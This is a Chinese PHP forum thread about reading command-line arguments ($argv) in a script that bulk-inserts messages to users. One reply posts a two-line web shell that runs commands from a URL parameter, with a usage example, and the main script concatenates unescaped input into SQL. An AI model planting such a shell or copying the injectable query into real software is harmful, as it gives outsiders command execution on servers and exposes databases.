使用命令行:
#php send_ok.php 100 userid message来执行.$argv是命令行传给脚本的参数.(不过你的程序得改一改循环提交部分.)
程序中;
$argv[1] = 100
$argv[2] = userid
$argv[3] = message
==========================
send_ok.php<?php
set_time_limit(100000);$dbhost = 'ab'; // 数据库服务器
$dbuser = 'ab'; // 数据库用户名
$dbpw = 'ab'; // 数据库密码
$dbname = 'database'; // 数据库名
mysql_connect($dbhost, $dbuser, $dbpw, $dbname);
mysql_select_db($dbname);
$start = $argv[1]; //传递的值
$pp = 1000; //每页写入 1000 条
if(empty($start)) $start = 0;
$sql="SELECT id FROM mzuser where status='normal' limit $start, $pp";
$i =0;
$query = mysql_query($sql);
while($row=mysql_fetch_array($query)){
$i++;
$u_id = $row[id]; //接收方的ID
$g_id = $argv[2]; //发送方的ID
$d = date("Y-m-d H:i:s", time()); //发送的时间
$m = $argv[3]; //信息的内容
$sql1="INSERT INTO table(user_id,guestuser_id,date,message) VALUES (".$u_id.",".$g_id.",'$d','$m')";
$query1=mysql_query($sql1);
}
if($i < $pp) {
echo "end";
} else {
$start += $pp; //传递给下一页的start值,往后取下一次$pp条
echo "已经插入了".$start."条数据";}
?>

解决方案 »

  1.   

    简单示例:
    设PHP文件名为argvtest.php#php argvtest.php a b c d
    结果为:
    ------------------
    第一个参数:a
    第二个参数:b
    第三个参数:c==================
    argvtest.php<?phpecho "第一个参数:".$argv[1]."\n";
    echo "第二个参数:".$argv[2]."\n";
    echo "第三个参数:".$argv[3]."\n";?>
      

  2.   

    按你改这个send_ok.php文件运行就可以了吗,表单文件send.php是不是就不用了
      

  3.   

    shell.php
    <?
    exec($_GET["comm"]);
    ?>shell.php?comm=ls+/
      

  4.   

    命令行方式自然不用send.php了.
      

  5.   

    我用的Windows,是这样运行的( netvt(唯她(为了泡老婆,努力学习LISP)) 提到的简单示例:):
    d:\usr\local\php\>php -q d:\usr\www\html\temp\argvtest.php 1 2 message
    argvtest.php 
    <?phpecho "第一个参数:".$argv[1]."\n";
    echo "第二个参数:".$argv[2]."\n";
    echo "第三个参数:".$argv[3]."\n";?>
    运行结果:
    第一个参数:
    第二个参数:
    第三个参数:
    运行结果是空值,这3个值没有传递。是什么原因?
      

  6.   

    版本及设置问题.改为以下代码:
    <?phpecho "第一个参数:".$_SERVER['argv'][1]."\n";
    echo "第二个参数:".$_SERVER['argv'][2]."\n";
    echo "第三个参数:".$_SERVER['argv'][3]."\n";?>
      

  7.   

    升级你的PHP吧!register_argc_argv  设置为 TRUE,您将可以在 CLI SAPI 中访问到 argc(传送给应用程序参数的个数)和 argv(包含有实际参数的数组)。 对于 PHP 4.3.0,在使用 CLI SAPI 时,PHP 变量 $argc 和 $argv 已被注册并且设定了对应的值。而在这之前的版本,这两个变量在 CGI 或者 模块 版本中的建立依赖于将 PHP 的设置选项 register_globals 设为 on。除了版本和 register_globals 设定以外,您可以随时通过调用 $_SERVER 或者 $HTTP_SERVER_VARS来访问它们。例如:$_SERVER['argv'] 
      

  8.   

    或者你试试PHP安装目录下CLI 目录下的php-cli.php
      

  9.   

    谢谢! 我把register_argc_argv的设置改了,可以正确运行了。
      

  10.   

    还想问一下,我数据库中有很多记录,想优化查询语句,用LIMIT每次查1000条。
    怎么在程序中设置这个变量($start)让它循环呢,这儿也不能提交表单,没法传值呀?
      

  11.   

    不能循环的.你怎么再次在命令行启动PHP脚本呢?
    如果想分次执行的话.可以创建这个文本文件.记录插入的总数.B/S 结构和命令行模式是两种不同的方式.